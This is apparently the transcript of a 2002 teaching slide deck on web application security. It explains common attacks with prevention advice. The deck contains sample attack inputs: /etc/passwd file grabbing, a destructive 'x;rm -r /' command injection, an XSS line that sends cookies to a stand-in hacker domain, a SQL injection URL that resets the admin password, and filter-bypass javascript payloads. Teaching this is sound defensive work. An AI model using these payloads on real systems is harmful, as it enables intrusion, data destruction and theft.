application security bill chu august 2002. web applications web applications is pervasive customers...
TRANSCRIPT
Application Security
Bill ChuAugust 2002
Web applications Web applications is pervasive Customers love it! (e.g. driver
license renew, grade entry, banking, trading stocks, airline reservation, hotel reservation, buying books, library ….)
They are typically outside of fire walls
Anatomy of a web applicationSanctum systems
Data
DatabaseBackend systems
frontend systems
Web Server
User interface code
Valid Input
Browser
Custom code: e.g. html, forms, javascript
Off the shelf application: e.g. websphere
Custom code: e.g. servelet, jsp, asp
Applications: e.g. SAP, ORACLE
Applications: e.g. ORACLE, DB2
Web application threatsSanctum systems
Data
DatabaseBackend systems
frontend systems
Web Server
User interface code
Invalid inputCode Data
Browser
Code, Web server, Front end system, Back end system or database flaws resulting in unauthorized access of privileged accounts, the OS, network, or sensitive data and may result in denial of services.
Perfecto Technologies Survey
Perfecto Survey of Web Application Security Breaches
E-shopliftingFull accessexcute trxprivacy breachmodify infominorfull control
Hidden Field Manipulation Find vulnerable form with hidden
input Save HTML file to disk, modify
hidden input Execute HTML file from disk, submit
form Experience manipulated form
results
Hidden Field Manipulation Open the html page within HTML editor Locate the hidden field (e.g.,
“<type=hidden name=price value=99.95>”
Modify content (e.g., “<type=hidden name=price value=1.00>”
Save the html file locally and browse it Click buy button to perform electronic
shop lifting via hidden manipulation
Original HTML Form
Modified HTML Form
View Executed Results
View “/etc/passwd” file as modifed form requested Use Unix “crack” to break encrypted passwords Obtain access to root accounts
Prevention of Example Never trust hidden input values
Proved that it is easy to change values Never allow unsanitized inputs to be
used for viewing other files via script in this case we viewed /etc/passwd
instead of the normal guestbook results file
Parameter Tampering Find vulnerable form with
unchecked input Add malicious input to input form “Submit” form Gain unauthorized access
Parameter Tampering Failure to confirm the correctness of CGI
parameters embedded in a hyper link can be easily used to break the site security. For example, a search CGI may accept a “template” parameter
Search.exe?template=result.html&q=security
By replacing the template parameter, one may be able to obtain access to any file, e.g.
Search.exe?template=/etc/passwd&q=security
Input Malicious Values
Original / Attacked Account File
Newly created user
Injected user with admin priv.
Prevention of Example Always test all input parameters
for validity Length of input (checked on server
side, not <input size=xxx>) Strip input characters (e.g.: no ‘|’ ‘\n’,
etc)
Cookie Poisoning Many web applications use cookies in order to save
information (user id, time stamp, etc.) on the client's machine.
For example, when a user logs into many sites, a login web script validates his user name and password and sets a cookie with his numerical identifier.
When the user checks his preferences later, another web script (say, preferences.asp) retrieves the cookie and displays the user information records of the corresponding user.
Since cookies are not always cryptographically secure, a hacker can modify them by modifying the cookie file, thus fooling the application.
Cookie Poisoning Find web application which trusts
cookie data Modify cookie data Exploit
Hijack other sessions Grant privileges
Original Website
Cookie Modification
Gain Access of Other User
Prevention of Example Encrypt cookie contents Hash cookie contents (risky w/o
validation of session/user) Always validate user by checking the
session user was granted permissions
Store all data excluding session-id on server
Store session-id and hash in cookie
Stealth Commanding The use of server side executions (e.g. “eval” or “system” Perl
commands, SQL queries) enable someone to plant Trojan-horses in form submissions and run malicious or unauthorized commands
Take a postcard site as an example. The user fills in a postcard sending form, including the recipient name. The site then emails the recipient with the postcard. The CGI used for this purpose was written in Perl, and it had the following statement in it:
open (MAIL, "|$mailprog $recipient". It is easy to see how, by filling in the recipient field with "[email protected]</etc/passwd," the hacker will be mailed the password file.
Shell commands can be executed as well by sending "x;rm -r /", deleting the entire site.
Forceful Browsing Forceful Browsing Web servers will send any file to a
user, as long as the user knows the file name and the file is not protected. Therefore, a hacker may exploit this security hole, and "jump" directly to pages. For example, :
A registration page had an HTML comment mentioning a file named "_private/customer.txt". Typing "http://www.xxx.com/_private/customer.txt" sent back all customers' information.
Appending "~" or ".bak" or ".old" to CGI names may send back an older version of the source code. For example, "www.xxx.com/cgi-bin/admin.jsp~" returns admin.jsp source code.
Debug Information Leakage Find Debug Code Experiment with debug code and
parameters Experience “Information Leakage”
Debug Script Example
Debug Script Information Leak
Backdoors and Debug Options Many applications contain code left for
debugging purposes, and some even contain code left by disgruntled employees.
In a certain site, parameter tampering with the session token produced a page saying "we lost you, please re-login."
That page presented a link for re-login which actually was a debug option. It logged in the hacker with no password required — furthermore, it logged in the hacker as the site's QA person.
Debug Information Leakage Find Debug Code Experiment with debug code and
parameters Experience “Information Leakage”
Debug Script Example
Debug Script Information Leak
Configuration Subversion Misconfiguring web servers and application
servers is a very common mistake. The most common misconfiguration is one that permits directory browsing.
Hackers can utilize this feature in order to browse the application's directories (such as cgi-bin/) by simply typing in the directory name.
In the case of a misconfigured ColdFusion application server, accessing /CFIDE/administrator/index.cfm will invoke an administrator console without requiring a password.
Vendor-assisted Hacking Because product vulnerabilities are
published quickly over the web today, and because installing the latest vendor patch usually is not a high-priority issue, it almost always is possible to exploit vulnerable products.
Secure Web programming techniques Do not trust client side data Hidden HTML form elements are not hidden Password form elements are still in the clear if not using SSL Use solid cryptographic algorithms Use trusted authentication mechanisms Re-authenticate before issuing password or executing critical
transactions Do not host uncontrolled data on a protected domain Never validate data client-side Sanity check and qualify all incoming data (e.g.)
If data is supposed to be only yes or no, through away other options Check range and other data integrity rules Check file paths Don’t use anything you don’t understand Pay particular attention to special characters (a major source of problems)
e.g. ../(directory traversal), & ? + (file grabbing), ; (command appending), > < ? (piping),
Cross-Site Scripting Most web browsers have the capability to interpret scripts embedded in web
pages downloaded from a web server. Such scripts may be written in a variety of scripting languages and are run by the client's browser. Most browsers are installed with the capability to run scripts enabled by default.
Sites that host discussion groups with web interfaces have long guarded against a vulnerability where one client embeds malicious HTML tags in a message intended for another client.
For example, an attacker might post a message like Hello message board. This is a message.
<SCRIPT>malicious code</SCRIPT>This is the end of my message.
When a victim with scripts enabled in their browser reads this message, the malicious code may be executed unexpectedly. Scripting tags that can be embedded in this way include <SCRIPT>, <OBJECT>, <APPLET>, and <EMBED>.
When client-to-client communications are mediated by a server, site developers explicitly recognize that data input is untrustworthy when it is presented to other users. Most discussion group servers either will not accept such input or will encode/filter it before sending anything to other readers.
Cross-Site Scripting (XSS)Hacker: Locate web page with unchecked input Embed ‘poisoned link’ to web page or
embedding scriptsInnocent Victim: Follow ‘poisoned link’ or the scripts
executes upon page load Automatic execution of script Leakage of information (or worse!)
Distribute Poisoned Link
User Follows Poisoned Link
Real Attack Javascript ‘alert(“Hacked by
Pony”)’ would be changed Leak cookie data to hacker
Window.open(“http://hackersdomain.org/getvictimcookie?cookie=document.cookie”)
Prevention of Example
Web Server: Always sanitize input data Encrypt cookie dataUser: Turn off client-side scripting
Cross-site scripting examples “Slemko's idea was to combine cross-site scripting vulnerabilities with
the fact that, for up to 15 minutes after someone signs in to Hotmail, that person's authorization extends to every other Passport service, including Wallet. In this case, if a victim reads the specially crafted e-mail within 15 minutes of signing in, the code contained in the message retrieves all the person's cookies, bits of code that identify the user. The attacker can then use those cookies to access other services within those 15 minutes. “ -- Netnews.com Nov. 2001
Cross-site scripting allows hackers to run dangerous code within a Net user's browser or email client. By exploiting the vulnerability, "malicious users can fool other users' Web clients...which allows them to do things
such as stealing that client/server's cookies," Basically an attack on a Schwab user could allow the hacker to have access to all of the customer's account actions--such as buying and selling stocks or transferring funds while the customer was logged on to his account. -- Netnews.com Dec. 2000
Cross-Site Scripting Cont’d An attacker may construct a malicious link such as
<A HREF="http://example.com/comment.cgi? mycomment=<SCRIPT>malicious code</SCRIPT>"> Click here</A>
When an unsuspecting user clicks on this link, the URL sent to example.com includes the malicious code. If the web server sends a page back to the user including the value of mycomment, the malicious code may be executed unexpectedly on the client. This example also applies to untrusted links followed in email or newsgroup messages.
This actually have happened to reputable companies such as Microsoft, Schwab, (exmaple.com’s).
Abuse of other tags In addition to scripting tags, other HTML tags such as the <FORM> tag have
the potential to be abused by an attacker. For example, by embedding malicious <FORM> tags at the right place, an intruder can trick users into revealing sensitive information by modifying the behavior of an existing form.
Other HTML tags can also be abused to alter the appearance of the page, insert unwanted or offensive images or sounds, or otherwise interfere with the intended appearance and behavior of the page.
Cross-Site Scripting Cont’d SSL-Encrypted Connections May Be Exposed
The malicious script tags are introduced before the Secure Socket Layer (SSL) encrypted connection is established between the client and the legitimate server. SSL encrypts data sent over this connection, including the malicious code, which is passed in both directions. While ensuring that the client and server are communicating without snooping, SSL makes no attempt to validate the legitimacy of data transmitted.
Because there really is a legitimate dialog between the client and the server, SSL reports no problems. Malicious code that attempts to connect to a non-SSL URL may generate warning messages about the insecure connection, but the attacker can circumvent this warning simply by running an SSL-capable web server.
Attacks May Be Persistent Through Poisoned Cookies Once malicious code is executing that appears to have come from the
authentic web site, cookies may be modified to make the attack persistent. Specifically, if the vulnerable web site uses a field from the cookie in the dynamic generation of pages, the cookie may be modified by the attacker to include malicious code. Future visits to the affected web site (even from trusted links) will be compromised when the site requests the cookie and displays a page based on the field containing the code.
Cross-Site Scripting Cont’d Attacker May Access Restricted Web Sites from the
Client By constructing a malicious URL an attacker may be able to
execute script code on the client machine that exposes data from a vulnerable server inside the client's intranet.
The attacker may gain unauthorized web access to an intranet web server if the compromised client has cached authentication for the targeted server. There is no requirement for the attacker to masquerade as any particular system. An attacker only needs to identify a vulnerable intranet server and convince the user to visit an innocent looking page to expose potentially sensitive data on the intranet server.
Cross-Site Scripting Solutions Solutions for Users None of the solutions that web users can take are complete
solutions. In the end, it is up to web page developers to modify their pages to eliminate these types of problems.
However, web users have two basic options to reduce their risk of being attacked through this vulnerability. The first, disabling scripting languages in their browser, provides the most protection but has the side effect for many users of disabling functionality that is important to them. Users should select this option when they require the lowest possible level of risk.
The second solution, being selective about how they initially visit a web site, will significantly reduce a user's exposure while still maintaining functionality. Users should understand that they are accepting more risk when they select this option, but are doing so in order to preserve functionality that is important to them.
Cross-Site Scripting Solution Web site administrators and
developers can prevent their sites from being abused in conjunction with this vulnerability by ensuring that dynamically generated pages do not contain undesired tags.
Dangerous HTML tags <APPLET> <BODY> <EMBED> <FRAME> <FRAMESET> <IFRAME> <ILAYER>
•<META>
•<OBJECT>
•<SCRIPT>
•<STYLE>
•<SRC>
•<HREF>
•<TYPE>
Script filtering considerations Replace all “script” tags <IMG SRC=“javascript:…”>, replace “javascript” string in all SRC &
HREF attributes <IMG SRC=“javas
cript:…>, filter white spaces before key work string search <IMG SRC=“javasc	ript:…>, many other characters will work
also! Filter these characters before the key word search. <style TYPE=“text/javascript”> JS EXPRESSIOn </style>, replace all
“javascript” with “java_script” <STYLE type=text/css> @import url(http://server/very_bad.css);
</style>. Filter and replace @import <P STYLE=“left:expression(eval(“…”));>, Filter left:, expression and
eval <IMG SRC=“java<xxx>script:…> if <xxx> were to be removed,
replace, don’t remove
Cross-site scripting cont’d XML and SOAP are going to
increase these issues
Filter bypassing Client-side scripting attacks
requires the execution of Javascript, Java, VBScript, ActiveX, Flash etc.
Assume web applications accept HTML
Cookie authentication guidelines Use SSL for username/password authentication Do not store plain text or weakly encrypted password in a cookie The cookie should not be re-used or re-used easily by another person Password or other confidential info should not be able to be extracted
from the cookie Cookie authentication credential should NOT be valid for an over
extended length of times Set up “booby trapped” session tokens that never actually get
assigned but will detect if an attacker is trying to brute force a range of tokens.
(Whenever possible) Tie cookie authentication to an IP address (part or all of the IP address)
Adding “salt” to your cookie (e.g. hashed http header of a particular browser, MAC address)
Re-authenticate whenever critical decisions are made Over write tokens upon logout.
Re-password authentication When performing a critical action:
Use password re-confirmation before the action is carried out
YES or NO button to confirm if the action is what was intended
This prevents malicious scripts from quickly sending a CGI request and have an entire database cleared of its contents.
Direct SQL commands Example: Changing SQL values
UPDATE usertable SET pwd=‘$INPUT[pwd]’ WHERE uid=‘$INPUT[uid]’;
Normal input: http://www.victim.com/cpwd?opwd=y&pwd=x&uid=testuser
Malicious input: http://www.victim.com/cpwd?opwd=y&pwd=x&uid=testuser’+or+uid+like’%25admin%25’;
Result: changed administrative password. Mitigation: validate input
URL manipulation Valid transaction: http://www.victim.com/tx?acctnum
=12&debitamt=100 Malicious transaction: http://www.victim.com/tx?acctnum
=12&creditamt=1000000 Mitigation: whenever parameters
are sent, check session token
Back doors Debugging options Comments Default accounts Remote administration options